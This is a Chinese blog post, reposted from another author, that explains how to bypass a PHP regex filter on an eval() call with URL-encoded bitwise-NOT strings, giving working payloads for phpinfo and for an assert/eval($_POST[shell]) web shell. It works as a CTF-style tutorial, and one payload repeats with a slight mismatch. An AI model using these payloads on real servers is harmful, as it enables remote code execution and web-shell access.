nnonkey k1n9的博客

当你为错过太阳而哭泣时,你也要再错过群星了——泰戈尔​

web安全-PHP-url编码取反绕过正则-思考

前言

理解才是最高效的学习方式


这篇文章纯属搬运,自己讲得不会有原主好,这里放上原博主的链接https://blog.csdn.net/qq_45699846

内容

对于以下代码:

<?php
error_reporting(0);
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(strlen($code)>40){
        die("This is too Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);

如果要绕过正则RCE,我们可以采用url取反绕过,如:

?code=(~%8F%97%8F%96%91%99%90)();
# %8F%97%8F%96%91%99%90 : phpinfo

这里还利用了一点是:对于PHP,形如 (func_name)(),其中func_name可以是字符串,会执行这个func

这里相当于执行了:

phpinfo()
问题1
那么疑问来了,为什么不能直接执行 phpinfo()呢?尝试一下

?code=(~%8F%97%8F%96%91%99%90%D7%D6);

没有任何结果,理一下思路:

eval("(~%8F%97%8F%96%91%99%90%D7%D6);")

    # %8F%97%8F%96%91%99%90%D7%D6 : phpinfo()

当 (~%8F%97%8F%96%91%99%90%D7%D6);被当作代码执行时的第一步就是取反操作 ~
但是取反得到的字符串 phpinfo()并不会被当作代码执行,因为在取反之前PHP解释器并不知道这原来是 phpinfo(),把它当成了字符串去处理
问题2
那么想用蚁剑这样的工具的话,需要让其执行我们POST提交的数据,由问题1可以知道,若构造:

?code=(~%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2);
# %DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2 : $_POST[shell]

以(func_name)()这样的形式,去执行 ("assert")("$_POST[shell]") 构造payload:

?code=(~%9E%8C%8C%9A%8D%8B)(~%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2);

%9E%8C%8C%9A%8D%8B : assert

%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2 : $_POST[shell]

以(func_name)()这样的形式,去执行 ("assert")("$_POST[shell]") 构造payload:

?code=(~%9E%8C%8C%9A%8D%8B)(~%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2);
# %9E%8C%8C%9A%8D%8B : assert
# %DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2 : $_POST[shell]

执行过程:

第一层eval:首先 (~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6); 先会执行取反函数,得到 ("assert")("eval($_POST[shell])")
第二层assert:将字符串 "eval($_POST[shell])" 看作php代码执行
第三层eval:将 $_POST[shell] 传来的数据看作代码执行

执行成功

本原创文章未经允许不得转载 | 当前页面:nnonkey k1n9的博客 » web安全-PHP-url编码取反绕过正则-思考

评论